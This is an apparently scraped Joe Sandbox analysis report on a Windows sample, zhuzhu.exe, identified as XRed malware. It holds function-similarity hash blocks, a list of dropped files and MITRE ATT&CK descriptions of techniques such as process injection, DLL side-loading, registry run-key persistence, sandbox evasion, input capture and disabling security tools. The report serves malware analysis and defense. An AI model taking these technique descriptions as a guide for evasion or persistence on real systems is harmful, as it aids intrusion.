Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e12e2ecdf7ca73aabfad501042ddd7407fb52952015119a37efaedf7b43f0b1d
Instruction ID: 6ea7aae9919c4dfe7007963bdc710e508f117af73e5110a105a527806eb3f607
Opcode Fuzzy Hash: e12e2ecdf7ca73aabfad501042ddd7407fb52952015119a37efaedf7b43f0b1d
Instruction Fuzzy Hash: BED0C739504110BFCF016774AC0546A7796AB55334F708A18F575C10A0D77589105F11

Function 00184C5A Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000018), ref: 00184C69

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f41aef1a6f77089cca41d83278430074978118d518e661e208801593f4ae496e
Instruction ID: fa43d47bb399af6dc6262ec9c205be5d434b1ff1e133319f74b1e7c4159ef123
Opcode Fuzzy Hash: f41aef1a6f77089cca41d83278430074978118d518e661e208801593f4ae496e
Instruction Fuzzy Hash: 77D01234206111BFDF016774AD489697796AB94730FB1CB1CF971C11E0DB34DA009F11

Function 00183D33 Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000018), ref: 00183D42

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 8e4be650e635880c8fcf2305ec91b771c94007f57ece875d773499f801ee03f8
Instruction ID: 25f422ffce83fbdae5abd2d2ae42526858f383edc0e68abdac70b8b7d38edb5e
Opcode Fuzzy Hash: 8e4be650e635880c8fcf2305ec91b771c94007f57ece875d773499f801ee03f8
Instruction Fuzzy Hash: 6AD0C934204100BFCF456BB4EC488AA77A2EF94730FA0CF18F575C20A0C7358A10AF12

Function 00183DA6 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000018), ref: 00183DB5

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c30d660c206146c0a5c4b1f82f83852cdf5fb601dcc83f7e218f451a7802a52c
Instruction ID: 21ae01de940dacb3c4863036265a8439752d98259736261b24f0eca26b1e0820
Opcode Fuzzy Hash: c30d660c206146c0a5c4b1f82f83852cdf5fb601dcc83f7e218f451a7802a52c
Instruction Fuzzy Hash: 72D01234104101ABCF4577B4ED088BD7AA2BB54360B904F58F9B1C11F0C735CA44AF11

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zhuzhu.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\360\360Safe\{FD2C39FB-F4D3-4b94-BD68-BE991C2FC645}.tf

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_2ec6c543e663fbcb7aa81b84b010deff7deb3a8e_455b7b6e_d6a569a7-6642-4538-8b43-920d5da35af4\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_6751ccd5199dfc6aae4d63e074afd0eab89d0a7_455b7b6e_91ae11ba-0554-431f-afd5-a98f70ec6dfa\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3B5.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD15.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE076.tmp.WERInternalMetadata.xml

Windows Analysis Report
zhuzhu.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre